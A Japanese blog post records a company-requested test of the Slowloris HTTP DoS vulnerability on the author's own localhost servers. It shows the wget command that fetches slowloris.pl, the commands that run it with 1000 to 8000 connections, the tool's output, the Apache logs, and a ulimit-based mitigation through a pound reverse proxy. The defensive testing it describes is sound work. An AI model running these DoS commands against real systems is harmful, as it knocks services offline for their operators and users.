Slowloris HTTP DoS 攻撃について

ちょっと前に Apacheに新たな脆弱性発見 - スラッシュドット・ジャパン で紹介されていた脆弱性なんですけど・・・会社のお達しで各サービス毎に状況報告ってイベントがあったので、ちょいと脆弱性試験してました。そのまとめです。

Apacheに、DoS攻撃に繋がる脆弱性が新たに見つかったそうだ(本家/.記事より)
この脆弱性は、これを利用したHTTP DoSツール「Slowloris」がリリースされたことから明らかになったとのこと。この攻撃ツールはApacheに不完全なリクエストヘッダーを送り続けるもので、Apacheが最後のヘッダが送られてくるのを待つ間、偽のヘッダを送ることで接続をオープンにし続け、Apacheのプロセスを一杯にさせるものだという。
脆弱性はApache 1.x、 2.x、 dhttpd、 GoAhead WebServer、そしてSquidにて確認されているが、IIS6.0、 IIS7.0、およびlighttpdでは確認されていないとのこと。
SANSでは詳細のレポートが挙がっており、TimeOutディレクティブでタイムアウト値の設定を変えることでこの攻撃を軽減することが可能とのことで、今のところ対策はこれくらいしかないそうだ。

とのことなので、まずは脆弱性を利用したHTTP DoSツール「Slowloris」とやらを公開しているページへアクセスしました。

Slowloris HTTP DoS - http://ha.ckers.org/slowloris/

この脆弱性により DDos される可能性がある http server は以下の通りとのこと。

・Apache 1.x
・Apache 2.x
・dhttpd
・GoAhead WebServer
・Squid (unconfirmed)
・WebSense "block pages" (unconfirmed)
・Trapeze Wireless Web Portal (unconfirmed)
・Verizon's MI424-WR FIOS Cable modem (unconfirmed)
・Verizon's Motorola Set-Top Box (port 8082 and requires auth - unconfirmed)
・BeeWare WAF (unconfirmed)
・Deny All WAF (unconfirmed)

逆に安全なのは以下の http server とのこと。

・IIS6.0
・IIS7.0
・lighttpd
・nginx
・Cherokee (verified by user community)
・Netscaler
・Cisco CSS (verified by user community)

実際に僕がテストしたのは、IIS6 と Apache 2.0.63 です。

- スポンサーリンク -

結論から言うと、IIS6 は情報通り slowloris.pl でアタックしても http 接続ができなくなると言う不具合は見受けられませんでした。apache 2 はアタック直後に http 接続ができなくなりました。

また、僕が携わっているサービスは poundd → apache1/apache2 と振り分けているのですが、poundd が結構良い仕事をしていてくれて、 slowloris.pl で送信される不正リクエストを破棄してくれるようです。従って poundd が thread を生成可能な状態にある限り slowloris.pl による攻撃で http 接続できなくなる事態にはなりませんでした。つまり、slowloris.pl と同様の手法による DDos は pound によりある程度防御可能であると思います。(多分・・・保証なしだけど・・・)


以下作業ログです。 ※言わずもがな悪用しないで下さい。自社サイトの検証としてご利用下さい。

1. 攻撃ツール slowloris.pl を動作させるための前処理

wget http://ha.ckers.org/slowloris/slowloris.pl
perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'

2. apache2 へ接続数 1000 で Dos 攻撃してみる

perl slowloris.pl -num 1000 -port 10080 -dns localhost

結果

[root@dev01 apache]# perl slowloris.pl -port 10080 -dns localhost

 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to localhost:10080 every 100 seconds with 1000 sockets:
                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 298 packets successfully.
This thread now sleeping for 100 seconds...

                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 568 packets successfully.
This thread now sleeping for 100 seconds...

                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 862 packets successfully.
This thread now sleeping for 100 seconds...

・・・以下略・・・

この状態でブラウザから http://localhost:10080 してみると応答なし状態になった。apache のログは下記の通り。

[root@dev01 apache]# tail -f /usr/local/lib/apache/logs/httpd2_access_29.log 
127.0.0.1 - - [29/Jun/2009:11:18:50 +0900] "GET / HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
127.0.0.1 - - [29/Jun/2009:11:18:50 +0900] "GET / HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
127.0.0.1 - - [29/Jun/2009:11:18:50 +0900] "GET / HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
127.0.0.1 - - [29/Jun/2009:11:18:50 +0900] "GET / HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
127.0.0.1 - - [29/Jun/2009:11:18:50 +0900] "GET / HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
127.0.0.1 - - [29/Jun/2009:11:18:50 +0900] "GET / HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
127.0.0.1 - - [29/Jun/2009:11:18:50 +0900] "GET / HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
・・・以下略・・・

3. pound 経由で接続数 1000 で Dos 攻撃してみる

perl slowloris.pl -num 1000 -port 80 -dns localhost

結果

[root@dev01 apache]# perl slowloris.pl -dns localhost

 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to localhost:80 every 100 seconds with 1000 sockets:
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 250 packets successfully.
This thread now sleeping for 100 seconds...

                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 504 packets successfully.
This thread now sleeping for 100 seconds...

                Sending data.
                Building sockets.
Current stats:  Slowloris has now sent 750 packets successfully.
This thread now sleeping for 100 seconds...

                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Sending data.

・・・以下略・・・

先ほどとは slowloris.pl が出力するログが違う感じ。http://localhost でアクセスしてみると正常にアクセス可能。ちなみに poundd 側でリクエストが破棄されるので apache2 までリクエストが飛んでくることはありませんでした。

なお、このときの poundd プロセスは合計 1025 プロセス立ち上がっていました。

[root@dev01 apache]# ps aux|grep -c pound
1025

4. pound 経由で接続数 3000 で Dos 攻撃してみる

perl slowloris.pl -num 3000 -port 80 -dns localhost

今度は残念ながら http 接続できず。ブラウザの応答が無くなることはないが下記エラーが発生。

503 Service Unavailable
The service is not available. Please try again later.

なお、このときの poundd プロセスは合計 1025 プロセス立ち上がっていました。ここは接続数 1000 の時と同じ。

[root@dev01 apache]# ps aux|grep -c pound
1025

4. 耐久性を高めるための深追い

まずはこのサーバの thread 数の上限を調べてみました。

[root@dev01 apache]# sysctl -A|grep thread
vm.nr_pdflush_threads = 2
kernel.threads-max = 143360

どうやら thread の上限は 143360 なので thread が生成できなくて pound が応答できなくなる訳ではなさそうです。1024 という数値に壁がある気がするので ulimit を調べてみました。

[root@dev01 apache]# ulimit -Sa
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
file size               (blocks, -f) unlimited
pending signals                 (-i) 1024
max locked memory       (kbytes, -l) 32
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
stack size              (kbytes, -s) 10240
cpu time               (seconds, -t) unlimited
max user processes              (-u) 71680
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

う〜ん・・・どうも pending signals と open files の数値があやしいです。とりあえず上限を変更してみます。

ulimit -n 8192
ulimit -i 8192

5. pound を再起動してみて pound 経由で接続数 8000 で Dos 攻撃してみる

perl slowloris.pl -num 8000 -port 80 -dns localhost

推測通り、今度はブラウザアクセスで 503 エラーになることなく http 接続することができました。
なお、このときの poundd プロセスも合計 1025 プロセス立ち上がっていました。ここは接続数 1000 の時と同じ。

[root@dev01 apache]# ps aux|grep -c pound
1025


最後にまとめ。

  • pound + apache1/apache2 構成の場合は、poundd で Slowloris HTTP DoS をある程度防御可能
  • 不正リクエストは pound 側で破棄される
  • pound がどこまで Dos に応答できるかが問題となる → ulimit の値と thread 上限数に依存するっぽい

以上です。完璧ではないけど、apache2 で reverse proxy を構築しているよりは耐久性が高そうです。
あ、ちなみに検証環境は 64bit OS なので 32bit だと、どうなるかわかりません。

参考 URL 一覧

http://slashdot.jp/security/09/06/23/0455215.shtml
http://ha.ckers.org/slowloris/#
http://diary.mrmt.net/item/1334#
http://www.apsis.ch/pound/
http://httpd.apache.org/download.cgi
http://d.hatena.ne.jp/kameid/20090416/1239897797
http://www.takatan.net/hiki/hiki.cgi?pthread_create+limit#
http://www.linux.or.jp/JM/html/LDP_man-pages/man3/ulimit.3.html
http://www.google.com/search?hl=ja&num=50&q=linux+thread+%E4%B8%8A%E9%99%90+1024&lr=lang_ja
http://www.google.com/search?hl=ja&num=50&q=ulimit+1024+open+files+pending+signals&lr=lang_ja
http://www.google.com/search?hl=ja&num=50&q=pthread_create+%E4%B8%8A%E9%99%90&lr=lang_ja

- スポンサーリンク -